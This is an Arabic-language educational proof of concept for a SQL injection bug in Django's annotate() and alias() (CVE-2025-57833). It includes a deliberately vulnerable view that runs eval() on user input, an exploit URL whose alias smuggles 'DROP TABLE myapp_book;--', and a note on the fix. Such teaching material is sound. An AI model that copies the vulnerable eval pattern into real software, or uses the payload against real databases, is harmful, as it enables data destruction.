
إثبات مفهوم تعليمي يوضح حقن SQL عبر الأسماء المستعارة الديناميكية في طريقتي annotate() و alias() في Django (CVE-2025-57833). يتضمن كودًا ضعيفًا، ومثالًا للاستغلال، وتحليلًا للإصلاح.
الاسم المستعار (alias) هو اسم يُعطى لعمود أو لنتيجة تجميع (aggregation) في استعلام SQL.
في Django، تُستخدم الأسماء المستعارة مع دوال annotate() أو alias() لتسمية الحقول المحسوبة.
مثال:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
هنا، book_count هو اسم مستعار لنتيجة Count('id').
هذا يسمح بالحصول على اسم قابل للقراءة لعمود محسوب.
للتسريع، يمكننا إدخال البيانات عبر الشل:
python manage.py shell
الأوامر المراد تنفيذها:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
قبل Django 4.2.23، كان من الممكن حقن SQL عبر أسماء مستعارة ديناميكية يقدمها المستخدم.
تُعرف هذه الثغرة باسم CVE-2025-57833.
كانت تؤثر على دالتي annotate() و alias() عند استخدام قاموس مع توسيع (**kwargs) باستخدام مفاتيح غير مفلترة قادمة من المستخدم.
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# نسترد الاسم المستعار من الرابط
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ ضعيف: تقييم مباشر لبيانات المستخدم
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # خطير! يسمح بتنفيذ كود عشوائي
# إنشاء queryset مع تعليق (annotation) ديناميكي
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# إرجاع النتائج
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
يسترد قيمة المتغير alias الذي أرسله المستخدم.
alias_dict = json.loads(alias_param)
يحول السلسلة JSON إلى قاموس Python.
alias_dict[key] = eval(value)
⚠️ خطير جداً: eval() تنفذ السلسلة ككود Python.
يمكن للمستخدم حقن SQL مدمر.
Author.objects.annotate(**alias_dict)
تطبق التعليقات ديناميكياً مع الأسماء المستعارة المقدمة.
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
شرح:
Author و Book مرتبطان بعلاقة ForeignKey.Author لحساب معلومات عن كتبه.http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
Django يمنع الآن بعض الأحرف في الأسماء المستعارة:
--)إذا احتوى الرابط على هذه الأحرف، يرفع Django خطأ:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() على قيم قادمة من المستخدم.eval() أبداً على بيانات المستخدم.المؤلف: Loïc
التاريخ: 06/09/2025